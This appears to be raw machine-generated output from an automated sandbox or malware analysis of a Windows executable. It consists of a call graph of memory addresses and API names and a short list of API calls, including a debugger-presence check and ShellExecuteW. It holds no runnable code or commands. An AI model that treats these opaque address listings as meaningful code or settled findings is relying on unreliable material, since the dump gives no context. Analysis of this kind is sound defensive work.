API calls 95653->95654 95655 7ff697b437dd GetCurrentDirectoryW 95654->95655 95701 7ff697b457a0 95655->95701 95657 7ff697b43807 IsDebuggerPresent 95658 7ff697b8b872 MessageBoxA 95657->95658 95659 7ff697b43815 95657->95659 95660 7ff697b8b894 95658->95660 95659->95660 95661 7ff697b43839 95659->95661 95811 7ff697b4e278 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95660->95811 95775 7ff697b43f04 95661->95775 95665 7ff697b43860 GetFullPathNameW 95666 7ff697b47cf4 4 API calls 95665->95666 95667 7ff697b438a6 95666->95667 95791 7ff697b43f9c 95667->95791 95668 7ff697b438bf 95670 7ff697b8b8dc SetCurrentDirectoryW 95668->95670 95671 7ff697b438c7 95668->95671 95670->95671 95672 7ff697b438d0 95671->95672 95812 7ff697bad540 AllocateAndInitializeSid CheckTokenMembership FreeSid 95671->95812 95807 7ff697b43b84 7 API calls 95672->95807 95675 7ff697b8b8f8 95675->95672 95678 7ff697b8b90c 95675->95678 95679 7ff697b45680 6 API calls 95678->95679 95681 7ff697b8b916 95679->95681 95680 7ff697b438da 95682 7ff697b46258 46 API calls 95680->95682 95683 7ff697b438ef 95680->95683 95684 7ff697b4ec00 4 API calls 95681->95684 95682->95683 95685 7ff697b43913 95683->95685 95687 7ff697b45d88 Shell_NotifyIconW 95683->95687 95686 7ff697b8b927 95684->95686 95691 7ff697b4391f SetCurrentDirectoryW 95685->95691 95688 7ff697b8b930 95686->95688 95689 7ff697b8b94d 95686->95689 95687->95685 95690 7ff697b471f8 4 API calls 95688->95690 95694 7ff697b471f8 4 API calls 95689->95694 95692 7ff697b8b93c 95690->95692 95693 7ff697b43934 Concurrency::wait 95691->95693 95813 7ff697b47c24 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection Concurrency::wait 95692->95813 95693->95370 95696 7ff697b8b963 GetForegroundWindow ShellExecuteW 95694->95696 95697 7ff697b8b99f Concurrency::wait 95696->95697 95697->95685 95699->95649 95700->95648 95702 7ff697b49640 4 API calls 95701->95702 95703 7ff697b457d7 95702->95703 95814 7ff697b49bbc 95703->95814 95705 7ff697b457fe 95706 7ff697b45680 6 API calls 95705->95706 95707 7ff697b45812 95706->95707 95708 7ff697b4ec00 4 API calls 95707->95708 95709 7ff697b45823 95708->95709 95828 7ff697b46460 95709->95828 95712 7ff697b8c05e 95901 7ff697bc2948 95712->95901 95713 7ff697b4584e Concurrency::wait 95716 7ff697b4e0a8 4 API calls 95713->95716 95715 7ff697b8c074 95717 7ff697b8c081 95715->95717 95718 7ff697b4652c 63 API calls 95715->95718 95719 7ff697b4586a 95716->95719 95919 7ff697b4652c 95717->95919 95718->95717 95721 7ff697b4ec00 4 API calls 95719->95721 95722 7ff697b45888 95721->95722 95724 7ff697b8c099 95722->95724 95854 7ff697b4eff8 95722->95854 95729 7ff697b45ab4 4 API calls 95724->95729 95725 7ff697b458ad Concurrency::wait 95726 7ff697b4ec00 4 API calls 95725->95726 95727 7ff697b458d7 95726->95727 95727->95724 95728 7ff697b4eff8 46 API calls 95727->95728 95731 7ff697b458fc Concurrency::wait 95728->95731 95730 7ff697b8c0e1 95729->95730 95732 7ff697b45ab4 4 API calls 95730->95732 95734 7ff697b49640 4 API calls 95731->95734 95733 7ff697b8c103 95732->95733 95737 7ff697b45680 6 API calls 95733->95737 95735 7ff697b4591f 95734->95735 95867 7ff697b45ab4 95735->95867 95739 7ff697b8c12b 95737->95739 95741 7ff697b45ab4 4 API calls 95739->95741 95743 7ff697b8c139 95741->95743 95742 7ff697b45941 95742->95724 95744 7ff697b45949 95742->95744 95746 7ff697b4e0a8 4 API calls 95743->95746 95745 7ff697b68e28 wcsftime 37 API calls 95744->95745 95747 7ff697b45958 95745->95747 95748 7ff697b8c14a 95746->95748 95747->95730 95750 7ff697b45960 95747->95750 95749 7ff697b45ab4 4 API calls 95748->95749 95751 7ff697b8c15b 95749->95751 95752 7ff697b68e28 wcsftime 37 API calls 95750->95752 95755 7ff697b4e0a8 4 API calls 95751->95755 95753 7ff697b4596f 95752->95753 95753->95733 95754 7ff697b45977 95753->95754 95756 7ff697b68e28 wcsftime 37 API calls 95754->95756 95757 7ff697b8c172 95755->95757 95758 7ff697b45986 95756->95758 95759 7ff697b45ab4 4 API calls 95757->95759 95760 7ff697b459c6 95758->95760 95762 7ff697b45ab4 4 API calls 95758->95762 95761 7ff697b8c183 95759->95761 95760->95751 95763 7ff697b459d3 95760->95763 95764 7ff697b459a8 95762->95764 95890 7ff697b4df90 95763->95890 95765 7ff697b4e0a8 4 API calls 95764->95765 95767 7ff697b459b5 95765->95767 95769 7ff697b45ab4 4 API calls 95767->95769 95769->95760 95771 7ff697b4d670 5 API calls 95772 7ff697b45a12 95771->95772 95772->95771 95773 7ff697b45ab4 4 API calls 95772->95773 95774 7ff697b45a60 Concurrency::wait 95772->95774 95773->95772 95774->95657 95776 7ff697b43f29 wcsftime 95775->95776 95777 7ff697b43f4b 95776->95777 95778 7ff697b8ba2c fread_s 95776->95778 95779 7ff697b456d4 5 API calls 95777->95779 95781 7ff697b8ba4d GetOpenFileNameW 95778->95781 95780 7ff697b43f56 95779->95780 96263 7ff697b43eb4 95780->96263 95783 7ff697b8bab0 95781->95783 95784 7ff697b43858 95781->95784 95785 7ff697b47cf4 4 API calls 95783->95785 95784->95665 95784->95668 95787 7ff697b8babc 95785->95787 95789 7ff697b43f6c 96281 7ff697b46394 95789->96281 95792 7ff697b43fb6 wcsftime 95791->95792 96324 7ff697b49734 95792->96324 95794 7ff697b43fc4 95795 7ff697b44050 95794->95795 96334 7ff697b44d28 77 API calls 95794->96334 95795->95668 95797 7ff697b43fd3 95797->95795 96335 7ff697b44b0c 79 API calls Concurrency::wait 95797->96335 95799 7ff697b43fe0 95799->95795 95800 7ff697b43fe8 GetFullPathNameW 95799->95800 95801 7ff697b47cf4 4 API calls 95800->95801 95802 7ff697b44014 95801->95802 95803 7ff697b47cf4 4 API calls 95802->95803 95804 7ff697b44028 95803->95804 95805 7ff697b8bac2 wcscat 95804->95805 95806 7ff697b47cf4 4 API calls 95804->95806 95806->95795 96339 7ff697b43d90 7 API calls 95807->96339 95809 7ff697b438d5 95810 7ff697b43cbc CreateWindowExW CreateWindowExW ShowWindow ShowWindow 95809->95810 95811->95668 95812->95675 95813->95689 95815 7ff697b49be5 wcsftime 95814->95815 95816 7ff697b47cf4 4 API calls 95815->95816 95817 7ff697b49c1b 95815->95817 95816->95817 95827 7ff697b49c4a Concurrency::wait 95817->95827 95925 7ff697b49d84 95817->95925 95819 7ff697b49d84 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95819->95827 95820 7ff697b49d21 95821 7ff697b4ec00 4 API calls 95820->95821 95822 7ff697b49d57 Concurrency::wait 95820->95822 95823 7ff697b49d4a 95821->95823 95822->95705 95825 7ff697b44680 4 API calls 95823->95825 95824 7ff697b4ec00 4 API calls 95824->95827 95825->95822 95826 7ff697b44680 4 API calls 95826->95827 95827->95819 95827->95820 95827->95824 95827->95826 95928 7ff697b46d64 95828->95928 95831 7ff697b4649d 95833 7ff697b464ba FreeLibrary 95831->95833 95834 7ff697b464c0 95831->95834 95832 7ff697b46d64 2 API calls 95832->95831 95833->95834 95932 7ff697b748e0 95834->95932 95837 7ff697b464db LoadLibraryExW 95951 7ff697b46cc4 95837->95951 95838 7ff697b8c8f6 95840 7ff697b4652c 63 API calls 95838->95840 95842 7ff697b8c8fe 95840->95842 95844 7ff697b46cc4 3 API calls 95842->95844 95846 7ff697b8c907 95844->95846 95845 7ff697b46505 95845->95846 95847 7ff697b46512 95845->95847 95973 7ff697b467d8 95846->95973 95848 7ff697b4652c 63 API calls 95847->95848 95851 7ff697b45846 95848->95851 95851->95712 95851->95713 95853 7ff697b8c93f 96176 7ff697b51a30 95854->96176 95856 7ff697b4f029 95857 7ff697b9a7a8 95856->95857 95858 7ff697b4f040 95856->95858 96192 7ff697b4ee20 5 API calls Concurrency::wait 95857->96192 95861 7ff697b64c68 4 API calls 95858->95861 95860 7ff697b9a7bc 95862 7ff697b4f066 95861->95862 95864 7ff697b4f08f 95862->95864 96191 7ff697b4f0ec RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 95862->96191 96187 7ff697b4f1bc 95864->96187 95866 7ff697b4f0c6 95866->95725 95868 7ff697b45ac6 95867->95868 95869 7ff697b45ae4 95867->95869 95870 7ff697b4e0a8 4 API calls 95868->95870 95871 7ff697b47cf4 4 API calls 95869->95871 95872 7ff697b4592d 95870->95872 95871->95872 95873 7ff697b68e28 95872->95873 95874 7ff697b68ea4 95873->95874 95875 7ff697b68e3f 95873->95875 96196 7ff697b68d98 35 API calls 2 library calls 95874->96196 95884 7ff697b68e63 95875->95884 96194 7ff697b755d4 15 API calls _set_errno_from_matherr 95875->96194 95878 7ff697b68ed6 95880 7ff697b68ee2 95878->95880 95888 7ff697b68ef9 95878->95888 95879 7ff697b68e49 96195 7ff697b7b164 31 API calls _invalid_parameter_noinfo 95879->96195 96197 7ff697b755d4 15 API calls _set_errno_from_matherr 95880->96197 95883 7ff697b68e54 95883->95742 95884->95742 95885 7ff697b68ee7 96198 7ff697b7b164 31 API calls _invalid_parameter_noinfo 95885->96198 95887 7ff697b72c80 37 API calls wcsftime 95887->95888 95888->95887 95889 7ff697b68ef2 95888->95889 95889->95742 95891 7ff697b4dfac 95890->95891 95892 7ff697b64c68 4 API calls 95891->95892 95893 7ff697b459f5 95891->95893 95892->95893 95894 7ff697b4d670 95893->95894 95895 7ff697b4d698 95894->95895 95897 7ff697b4d6a2 95895->95897 96199 7ff697b4880c RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95895->96199 95900 7ff697b4d7de 95897->95900 96200 7ff697b4ee20 5 API calls Concurrency::wait 95897->96200 95899 7ff697b99d43 95900->95772 95902 7ff697bc29c8 95901->95902 96201 7ff697bc2b70 95902->96201 95905 7ff697b467d8 45 API calls 95906 7ff697bc2a03 95905->95906 95907 7ff697b467d8 45 API calls 95906->95907 95908 7ff697bc2a23 95907->95908 95909 7ff697b467d8 45 API calls 95908->95909 95910 7ff697bc2a49 95909->95910 95911 7ff697b467d8 45 API calls 95910->95911 95912 7ff697bc2a6d 95911->95912 95913 7ff697b467d8 45 API calls 95912->95913 95914 7ff697bc2ac5 95913->95914 95915 7ff697bc240c 32 API calls 95914->95915 95916 7ff697bc2ada 95915->95916 95918 7ff697bc29de 95916->95918 96206 7ff697bc1d48 95916->96206 95918->95715 95920 7ff697b46542 95919->95920 95921 7ff697b4653d 95919->95921 95923 7ff697b46558 95920->95923 95924 7ff697b4656f FreeLibrary 95920->95924 95922 7ff697b74970 62 API calls 95921->95922 95922->95920 95923->95724 95924->95923 95926 7ff697b4a7c0 4 API calls 95925->95926 95927 7ff697b49d99 95926->95927 95927->95817 95929 7ff697b46490 95928->95929 95930 7ff697b46d74 LoadLibraryA 95928->95930 95929->95831 95929->95832 95930->95929 95931 7ff697b46d89 GetProcAddress 95930->95931 95931->95929 95933 7ff697b747fc 95932->95933 95934 7ff697b7482a 95933->95934 95936 7ff697b7485c 95933->95936 95993 7ff697b755d4 15 API calls _set_errno_from_matherr 95934->95993 95938 7ff697b74862 95936->95938 95939 7ff697b7486f 95936->95939 95937 7ff697b7482f 95994 7ff697b7b164 31 API calls _invalid_parameter_noinfo 95937->95994 95995 7ff697b755d4 15 API calls _set_errno_from_matherr 95938->95995 95981 7ff697b7feb4 95939->95981 95943 7ff697b464cf 95943->95837 95943->95838 95945 7ff697b74883 95996 7ff697b755d4 15 API calls _set_errno_from_matherr 95945->95996 95946 7ff697b74890 95988 7ff697b80304 95946->95988 95949 7ff697b748a3 95997 7ff697b6df60 LeaveCriticalSection 95949->95997 96135 7ff697b46d1c 95951->96135 95954 7ff697b46cf1 95956 7ff697b46d0f FreeLibrary 95954->95956 95957 7ff697b464f7 95954->95957 95955 7ff697b46d1c 2 API calls 95955->95954 95956->95957 95958 7ff697b46580 95957->95958 95959 7ff697b64c68 4 API calls 95958->95959 95960 7ff697b465b5 memcpy_s 95959->95960 95961 7ff697b8c9f5 95960->95961 95962 7ff697b46740 CreateStreamOnHGlobal 95960->95962 95963 7ff697b46602 95960->95963 96139 7ff697bc2e00 45 API calls 95961->96139 95962->95963 95964 7ff697b46759 FindResourceExW 95962->95964 95966 7ff697b8c97e LoadResource 95963->95966 95968 7ff697b467d8 45 API calls 95963->95968 95969 7ff697b8c9fd 95963->95969 95972 7ff697b466e8 95963->95972 95964->95963 95966->95963 95967 7ff697b8c997 SizeofResource 95966->95967 95967->95963 95970 7ff697b8c9ae LockResource 95967->95970 95968->95963 95971 7ff697b467d8 45 API calls 95969->95971 95970->95963 95971->95972 95972->95845 95974 7ff697b467f7 95973->95974 95975 7ff697b8ca6c 95973->95975 96140 7ff697b74c5c 95974->96140 95978 7ff697bc240c 96159 7ff697bc2200 95978->96159 95980 7ff697bc2430 95980->95853 95998 7ff697b7b9bc EnterCriticalSection 95981->95998 95983 7ff697b7fecb 95984 7ff697b7ff54 18 API calls 95983->95984 95985 7ff697b7fed6 95984->95985 95986 7ff697b7ba10 _isindst LeaveCriticalSection 95985->95986 95987 7ff697b74879 95986->95987 95987->95945 95987->95946 95999 7ff697b80040 95988->95999 95992 7ff697b8035e 95992->95949 95993->95937 95994->95943 95995->95943 95996->95943 96004 7ff697b8007d try_get_function 95999->96004 96001 7ff697b802de 96018 7ff697b7b164 31 API calls _invalid_parameter_noinfo 96001->96018 96003 7ff697b8021a 96003->95992 96011 7ff697b87738 96003->96011 96004->96004 96007 7ff697b80211 96004->96007 96014 7ff697b6db68 37 API calls 4 library calls 96004->96014 96006 7ff697b80277 96006->96007 96015 7ff697b6db68 37 API calls 4 library calls 96006->96015 96007->96003 96017 7ff697b755d4 15 API calls _set_errno_from_matherr 96007->96017 96009 7ff697b8029a 96009->96007 96016 7ff697b6db68 37 API calls 4 library calls 96009->96016 96019 7ff697b86d04 96011->96019 96014->96006 96015->96009 96016->96007 96017->96001 96018->96003 96020 7ff697b86d28 96019->96020 96021 7ff697b86d40 96019->96021 96073 7ff697b755d4 15 API calls _set_errno_from_matherr 96020->96073 96021->96020 96023 7ff697b86d6d 96021->96023 96030 7ff697b87348 96023->96030 96024 7ff697b86d2d 96074 7ff697b7b164 31 API calls _invalid_parameter_noinfo 96024->96074 96028 7ff697b86d39 96028->95992 96076 7ff697b87078 96030->96076 96033 7ff697b873bc 96108 7ff697b755b4 15 API calls _set_errno_from_matherr 96033->96108 96034 7ff697b873d3 96096 7ff697b7e418 96034->96096 96037 7ff697b873c1 96109 7ff697b755d4 15 API calls _set_errno_from_matherr 96037->96109 96039 7ff697b873f7 CreateFileW 96041 7ff697b874eb GetFileType 96039->96041 96042 7ff697b87469 96039->96042 96040 7ff697b873df 96110 7ff697b755b4 15 API calls _set_errno_from_matherr 96040->96110 96046 7ff697b87549 96041->96046 96047 7ff697b874f8 GetLastError 96041->96047 96045 7ff697b874b8 GetLastError 96042->96045 96049 7ff697b87478 CreateFileW 96042->96049 96112 7ff697b75564 15 API calls 2 library calls 96045->96112 96115 7ff697b7e334 16 API calls 2 library calls 96046->96115 96113 7ff697b75564 15 API calls 2 library calls 96047->96113 96048 7ff697b873e4 96111 7ff697b755d4 15 API calls _set_errno_from_matherr 96048->96111 96049->96041 96049->96045 96053 7ff697b87507 CloseHandle 96053->96037 96055 7ff697b87539 96053->96055 96114 7ff697b755d4 15 API calls _set_errno_from_matherr 96055->96114 96056 7ff697b87568 96061 7ff697b875b5 96056->96061 96116 7ff697b87284 67 API calls 2 library calls 96056->96116 96058 7ff697b8753e 96058->96037 96063 7ff697b875ec 96061->96063 96117 7ff697b86de4 67 API calls 4 library calls 96061->96117 96062 7ff697b875e8 96062->96063 96064 7ff697b875fe 96062->96064 96118 7ff697b804b8 96063->96118 96066 7ff697b86d95 96064->96066 96067 7ff697b87681 CloseHandle CreateFileW 96064->96067 96066->96028 96075 7ff697b7e3f4 LeaveCriticalSection 96066->96075 96068 7ff697b876cb GetLastError 96067->96068 96069 7ff697b876f9 96067->96069 96133 7ff697b75564 15 API calls 2 library calls 96068->96133 96069->96066 96071 7ff697b876d8 96134 7ff697b7e548 16 API calls 2 library calls 96071->96134 96073->96024 96074->96028 96077 7ff697b870a4 96076->96077 96083 7ff697b870be 96076->96083 96078 7ff697b755d4 _set_errno_from_matherr 15 API calls 96077->96078 96077->96083 96079 7ff697b870b3 96078->96079 96080 7ff697b7b164 _invalid_parameter_noinfo 31 API calls 96079->96080 96080->96083 96081 7ff697b8718c 96085 7ff697b72554 31 API calls 96081->96085 96095 7ff697b871ec 96081->96095 96082 7ff697b8713b 96082->96081 96084 7ff697b755d4 _set_errno_from_matherr 15 API calls 96082->96084 96083->96082 96087 7ff697b755d4 _set_errno_from_matherr 15 API calls 96083->96087 96088 7ff697b87181 96084->96088 96086 7ff697b871e8 96085->96086 96089 7ff697b8726b 96086->96089 96086->96095 96090 7ff697b87130 96087->96090 96091 7ff697b7b164 _invalid_parameter_noinfo 31 API calls 96088->96091 96092 7ff697b7b184 _invalid_parameter_noinfo 16 API calls 96089->96092 96093 7ff697b7b164 _invalid_parameter_noinfo 31 API calls 96090->96093 96091->96081 96094 7ff697b87280 96092->96094 96093->96082 96095->96033 96095->96034 96097 7ff697b7b9bc _isindst EnterCriticalSection 96096->96097 96105 7ff697b7e43b 96097->96105 96098 7ff697b7e487 96100 7ff697b7ba10 _isindst LeaveCriticalSection 96098->96100 96099 7ff697b7e464 96101 7ff697b7e170 16 API calls 96099->96101 96102 7ff697b7e52a 96100->96102 96103 7ff697b7e469 96101->96103 96102->96039 96102->96040 96103->96098 96107 7ff697b7e310 wprintf EnterCriticalSection 96103->96107 96104 7ff697b7e4c2 EnterCriticalSection 96104->96098 96106 7ff697b7e4d1 LeaveCriticalSection 96104->96106 96105->96098 96105->96099 96105->96104 96106->96105 96107->96098 96108->96037 96109->96066 96110->96048 96111->96037 96112->96037 96113->96053 96114->96058 96115->96056 96116->96061 96117->96062 96119 7ff697b7e604 31 API calls 96118->96119 96121 7ff697b804cc 96119->96121 96120 7ff697b804d2 96122 7ff697b7e548 16 API calls 96120->96122 96121->96120 96123 7ff697b7e604 31 API calls 96121->96123 96132 7ff697b8050c 96121->96132 96125 7ff697b80534 96122->96125 96126 7ff697b804ff 96123->96126 96124 7ff697b7e604 31 API calls 96127 7ff697b80518 CloseHandle 96124->96127 96128 7ff697b75564 fread_s 15 API calls 96125->96128 96129 7ff697b80560 96125->96129 96130 7ff697b7e604 31 API calls 96126->96130 96127->96120 96131 7ff697b80525 GetLastError 96127->96131 96128->96129 96129->96066 96130->96132 96131->96120 96132->96120 96132->96124 96133->96071 96134->96069 96136 7ff697b46d2c LoadLibraryA 96135->96136 96137 7ff697b46ce3 96135->96137 96136->96137 96138 7ff697b46d41 GetProcAddress 96136->96138 96137->95954 96137->95955 96138->96137 96139->95969 96143 7ff697b74c7c 96140->96143 96144 7ff697b74ca6 96143->96144 96154 7ff697b4680a 96143->96154 96145 7ff697b74cd7 96144->96145 96146 7ff697b74cb5 fread_s 96144->96146 96144->96154 96158 7ff697b6df54 EnterCriticalSection 96145->96158 96156 7ff697b755d4 15 API calls _set_errno_from_matherr 96146->96156 96150 7ff697b74cca 96157 7ff697b7b164 31 API calls _invalid_parameter_noinfo 96150->96157 96154->95978 96156->96150 96157->96154 96162 7ff697b747bc 96159->96162 96161 7ff697bc2210 96161->95980 96165 7ff697b74724 96162->96165 96166 7ff697b74746 96165->96166 96167 7ff697b74732 96165->96167 96169 7ff697b74742 96166->96169 96175 7ff697b7bef8 6 API calls __crtLCMapStringW 96166->96175 96173 7ff697b755d4 15 API calls _set_errno_from_matherr 96167->96173 96169->96161 96170 7ff697b74737 96174 7ff697b7b164 31 API calls _invalid_parameter_noinfo 96170->96174 96173->96170 96174->96169 96175->96169 96177 7ff697b51a48 96176->96177 96178 7ff697b51c5f 96176->96178 96184 7ff697b51a90 96177->96184 96193 7ff697b65114 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 96177->96193 96178->95856 96184->95856 96188 7ff697b4f1ce 96187->96188 96190 7ff697b4f1d8 96187->96190 96189 7ff697b51a30 45 API calls 96188->96189 96189->96190 96190->95866 96191->95864 96192->95860 96194->95879 96195->95883 96196->95878 96197->95885 96198->95889 96199->95897 96200->95899 96205 7ff697bc2bae 96201->96205 96202 7ff697bc240c 32 API calls 96202->96205 96203 7ff697b467d8 45 API calls 96203->96205 96204 7ff697bc29da 96204->95905 96204->95918 96205->96202 96205->96203 96205->96204 96207 7ff697bc1d61 96206->96207 96209 7ff697bc1d71 96206->96209 96208 7ff697b748e0 89 API calls 96207->96208 96208->96209 96210 7ff697b748e0 89 API calls 96209->96210 96211 7ff697bc1dbf 96209->96211 96212 7ff697bc1d7a 96209->96212 96213 7ff697bc1d9e 96210->96213 96233 7ff697bc2038 96211->96233 96212->95918 96213->96211 96215 7ff697bc1da7 96213->96215 96215->96212 96245 7ff697b74970 96215->96245 96216 7ff697bc1df5 96217 7ff697bc1df9 96216->96217 96218 7ff697bc1e1c 96216->96218 96220 7ff697bc1e07 96217->96220 96221 7ff697b74970 62 API calls 96217->96221 96223 7ff697bc1e4a 96218->96223 96224 7ff697bc1e2a 96218->96224 96220->96212 96222 7ff697b74970 62 API calls 96220->96222 96221->96220 96222->96212 96237 7ff697bc1e88 96223->96237 96225 7ff697bc1e38 96224->96225 96227 7ff697b74970 62 API calls 96224->96227 96225->96212 96228 7ff697b74970 62 API calls 96225->96228 96227->96225 96228->96212 96229 7ff697bc1e52 96230 7ff697bc1e68 96229->96230 96231 7ff697b74970 62 API calls 96229->96231 96230->96212 96232 7ff697b74970 62 API calls 96230->96232 96231->96230 96232->96212 96234 7ff697bc2069 96233->96234 96236 7ff697bc2056 memcpy_s 96233->96236 96235 7ff697b74c5c _fread_nolock 45 API calls 96234->96235 96235->96236 96236->96216 96238 7ff697bc1fb0 96237->96238 96243 7ff697bc1eaa 96237->96243 96239 7ff697bc1fd3 96238->96239 96259 7ff697b72a04 60 API calls 2 library calls 96238->96259 96239->96229 96241 7ff697bc1bd0 45 API calls 96241->96243 96243->96238 96243->96239 96243->96241 96243->96243 96257 7ff697bc1c9c 45 API calls 96243->96257 96258 7ff697bc20cc 60 API calls 96243->96258 96246 7ff697b749a3 96245->96246 96247 7ff697b7498e 96245->96247 96249 7ff697b7499e 96246->96249 96260 7ff697b6df54 EnterCriticalSection 96246->96260 96261 7ff697b755d4 15 API calls _set_errno_from_matherr 96247->96261 96249->96212 96251 7ff697b74993 96262 7ff697b7b164 31 API calls _invalid_parameter_noinfo 96251->96262 96252 7ff697b749b9 96254 7ff697b748ec 60 API calls 96252->96254 96255 7ff697b749c2 96254->96255 96256 7ff697b6df60 fread_s LeaveCriticalSection 96255->96256 96256->96249 96257->96243 96258->96243 96259->96239 96261->96251 96262->96249 96264 7ff697b88f90 wcsftime 96263->96264 96265 7ff697b43ec4 GetLongPathNameW 96264->96265 96266 7ff697b47cf4 4 API calls 96265->96266 96267 7ff697b43eed 96266->96267 96268 7ff697b44074 96267->96268 96269 7ff697b49640 4 API calls 96268->96269 96270 7ff697b4408e 96269->96270 96271 7ff697b456d4 5 API calls 96270->96271 96272 7ff697b4409b 96271->96272 96273 7ff697b440a7 96272->96273 96274 7ff697b8bada 96272->96274 96275 7ff697b44680 4 API calls 96273->96275 96279 7ff697b8bb0f 96274->96279 96315 7ff697b61ad0 CompareStringW 96274->96315 96277 7ff697b440b5 96275->96277 96311 7ff697b440e8 96277->96311 96280 7ff697b440cb Concurrency::wait 96280->95789 96282 7ff697b46460 105 API calls 96281->96282 96283 7ff697b463e5 96282->96283 96284 7ff697b8c656 96283->96284 96285 7ff697b46460 105 API calls 96283->96285 96286 7ff697bc2948 90 API calls 96284->96286 96287 7ff697b46400 96285->96287 96288 7ff697b8c66e 96286->96288 96287->96284 96291 7ff697b46408 96287->96291 96289 7ff697b8c690 96288->96289 96290 7ff697b8c672 96288->96290 96293 7ff697b64c68 4 API calls 96289->96293 96292 7ff697b4652c 63 API calls 96290->96292 96294 7ff697b8c67b 96291->96294 96295 7ff697b46414 96291->96295 96292->96294 96310 7ff697b8c6dd Concurrency::wait 96293->96310 96317 7ff697bbc5c8 77 API calls wprintf 96294->96317 96316 7ff697b4e774 143 API calls Concurrency::wait 96295->96316 96298 7ff697b8c68a 96298->96289 96299 7ff697b46438 96299->95784 96300 7ff697b8c895 96301 7ff697b4652c 63 API calls 96300->96301 96309 7ff697b8c8a9 96301->96309 96306 7ff697b4ec00 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 96306->96310 96309->96300 96323 7ff697bb76d8 77 API calls 3 library calls 96309->96323 96310->96300 96310->96306 96310->96309 96318 7ff697bb7400 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 96310->96318 96319 7ff697bb730c 39 API calls 96310->96319 96320 7ff697bc0210 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 96310->96320 96321 7ff697b4b26c RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 96310->96321 96322 7ff697b49940 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 96310->96322 96312 7ff697b44107 96311->96312 96314 7ff697b44130 memcpy_s 96311->96314 96313 7ff697b64c68 4 API calls 96312->96313 96313->96314 96314->96280 96315->96274 96316->96299 96317->96298 96318->96310 96319->96310 96320->96310 96321->96310 96322->96310 96323->96309 96325 7ff697b49762 96324->96325 96329 7ff697b4988d 96324->96329 96326 7ff697b64c68 4 API calls 96325->96326 96325->96329 96328 7ff697b49791 96326->96328 96327 7ff697b64c68 4 API calls 96330 7ff697b4981c 96327->96330 96328->96327 96329->95794 96330->96329 96336 7ff697b4abe0 81 API calls 2 library calls 96330->96336 96337 7ff697b49940 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 96330->96337 96338 7ff697b4b26c RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 96330->96338 96334->95797 96335->95799 96336->96330 96337->96330 96338->96330 96339->95809 96340 7ff697b690e0 96347 7ff697b7af30 96340->96347 96342 7ff697b690e5 96343 7ff697b7ba10 _isindst LeaveCriticalSection 96342->96343 96344 7ff697b690f0 96343->96344 96345 7ff697b690fc 96344->96345 96346 7ff697b69118 11 API calls 96344->96346 96346->96345 96352 7ff697b7b778 35 API calls 3 library calls 96347->96352 96350 7ff697b7af3b 96353 7ff697b7b26c 35 API calls abort 96350->96353 96352->96350 96354 7ff697b547e1 96355 7ff697b54d57 96354->96355 96359 7ff697b547f2 96354->96359 96385 7ff697b4ee20 5 API calls Concurrency::wait 96355->96385 96357 7ff697b54d66 96386 7ff697b4ee20 5 API calls Concurrency::wait 96357->96386 96359->96357 96360 7ff697b54862 96359->96360 96361 7ff697b54df3 96359->96361 96363 7ff697b566c0 300 API calls 96360->96363 96383 7ff697b53c80 96360->96383 96387 7ff697bc0978 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 96361->96387 96363->96383 96364 7ff697ba05be 96389 7ff697bc34e4 77 API calls 3 library calls 96364->96389 96365 7ff697b65114 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 96365->96383 96368 7ff697ba05d1 96369 7ff697b64f0c 34 API calls __scrt_initialize_thread_safe_statics 96369->96383 96370 7ff697b54aa9 96372 7ff697b54ac0 96370->96372 96374 7ff697b4e0a8 4 API calls 96370->96374 96371 7ff697b54a8f 96371->96370 96371->96372 96376 7ff697b9fefe 96371->96376 96373 7ff697b54fe7 96377 7ff697b4e0a8 4 API calls 96373->96377 96381 7ff697b53dde 96374->96381 96375 7ff697b650b4 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent _Init_thread_footer 96375->96383 96378 7ff697b4e0a8 4 API calls 96376->96378 96377->96381 96378->96372 96379 7ff697b4e0a8 4 API calls 96379->96383 96382 7ff697b49640 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 96382->96383 96383->96364 96383->96365 96383->96369 96383->96370 96383->96371 96383->96373 96383->96375 96383->96379 96383->96381 96383->96382 96384 7ff697b55360 300 API calls Concurrency::wait 96383->96384 96388 7ff697bc34e4 77 API calls 3 library calls 96383->96388 96384->96383 96385->96357 96386->96361 96387->96383 96388->96383 96389->96368

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF697B43785), ref: 00007FF697B437F2
                                                                                                                                                                            • IsDebuggerPresent.KERNEL32(?,?,?,?,?,00007FF697B43785), ref: 00007FF697B43807
                                                                                                                                                                            • GetFullPathNameW.KERNEL32(?,?,?,?,?,00007FF697B43785), ref: 00007FF697B4388D
                                                                                                                                                                              • Part of subcall function 00007FF697B43F9C: GetFullPathNameW.KERNEL32(D000000000000000,00007FF697B438BF,?,?,?,?,?,00007FF697B43785), ref: 00007FF697B43FFD
                                                                                                                                                                            • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF697B43785), ref: 00007FF697B43924
                                                                                                                                                                            • MessageBoxA.USER32 ref: 00007FF697B8B888
                                                                                                                                                                            • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF697B43785), ref: 00007FF697B8B8E1
                                                                                                                                                                            • GetForegroundWindow.USER32(?,?,?,?,?,00007FF697B43785), ref: 00007FF697B8B968
                                                                                                                                                                            • ShellExecuteW.SHELL32 ref: 00007FF697B8B98F
